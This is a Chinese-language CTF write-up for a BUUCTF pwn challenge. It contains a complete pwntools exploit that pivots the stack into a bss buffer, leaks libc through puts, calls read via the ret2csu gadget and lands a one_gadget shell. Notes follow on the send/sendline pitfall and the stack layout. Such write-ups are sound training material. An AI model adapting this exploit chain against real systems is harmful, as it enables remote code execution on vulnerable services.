我只能说这里将栈迁移地址bank抬高0x50个字节是我没想到的,p.sendline使用导致报错也是没想到的,但是这题真是不错hhh,这里我将遇到的卡了老久的问题解释下:
首先给出wp
from pwn import *
context.log_level = 'debug'
libc_name = './libc-2.23.so64'
libc = ELF(libc_name)
one_gadget = 0x4526a
p = remote("node4.buuoj.cn", 25240)
elf = ELF("./gy")
bank_addr = 0x601080
leave_ret = 0x400699
pop_rdi_ret = 0x400703
csu_init_pop = 0x4006FA
csu_init_call = 0x4006E0
offset = 0x50
new_stack_sp = bank_addr + offset
payload1 = b'a'*0x60 + p64(new_stack_sp - 0x10) + p64(leave_ret)
p.recvuntil("Tell me what you want\n")
p.send(payload1)
p.recvuntil("Done!You can check and use your borrow stack now!\n")
payload2 = b'a'*(new_stack_sp-0x10 - bank_addr) + p64(0) + p64(pop_rdi_ret) + p64(elf.got['puts']) \
+ p64(elf.plt['puts'])+ p64(csu_init_pop) + p64(0) + p64(0) + p64(elf.got['read']) +p64(0x100) \
+ p64(new_stack_sp + 0x8*9) + p64(0) + p64(csu_init_call)
#gdb.attach(p)
p.sendline(payload2)
#libc_base = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00')) - libc.sym['puts']#,,,两种接收方式都可以的哦
#libc_base = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00')) - libc.sym['puts']
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
# #_init_array_entry - 600E10h)[r12+rbx*8]这一条语句执行后无论后者执行的是什么函数,都会返回下一条地址对应函数,而那条地址将被call之前压入被push压入栈中,注意push定义是数据先放到低地址,再移动sp就是那个位置
# print(hex(libc_base + libc.sym['puts']))
p.sendline(p64(libc_base+one_gadget)+p64(0)*10)#这里p64(0)*10为的是满足onegadget的条件[rsp+0x30=NULL]
p.interactive()
#0x7fffffffe050
接下来我来讲讲遇到的细节坑惨我了555
1:`
payload1 = b’a’*0x60 + p64(new_stack_sp - 0x10) + p64(leave_ret)
p.recvuntil(“Tell me what you want\n”)
p.send(payload1)`
这三句尤其注意如果用p.sendline代替p.send即将出错而且报的错还很离谱:
2:关于paylaod2的解释:
首先抬高转移后的栈的地址,否则执行rop链时会出错,可能覆盖bank低地址处的got地址,然后是常规的通用gadget使用,先五个p给寄存器赋值,而后修改寄存器的值使其达到使用read函数将即将使用的one_gadget读入read返回地址从而执行“execve("/bin/sh", rsp+0x30, environ)
”的目的,至于为什么read函数的返回地址是在paylaod2最后一个p64(csu_init_call)处,笔者亲身实践检验,
如图,当指令执行到这里时:
在进入0x4006e0即paylaod2最后一个p64(csu_init_call)时候栈的sp到了csu_init_call上面,如图(蓝色箭头指向的位置),在执行call的时候:根据call使用规则,会将其返回地址push压栈,就是rop链上csu_init_call所在地址,而 p64(new_stack_sp + 0x8*9)这个给read的设置参数正好是该地址,所以等read函数调用完了,直接执行发送的one_gadget。
最后结果: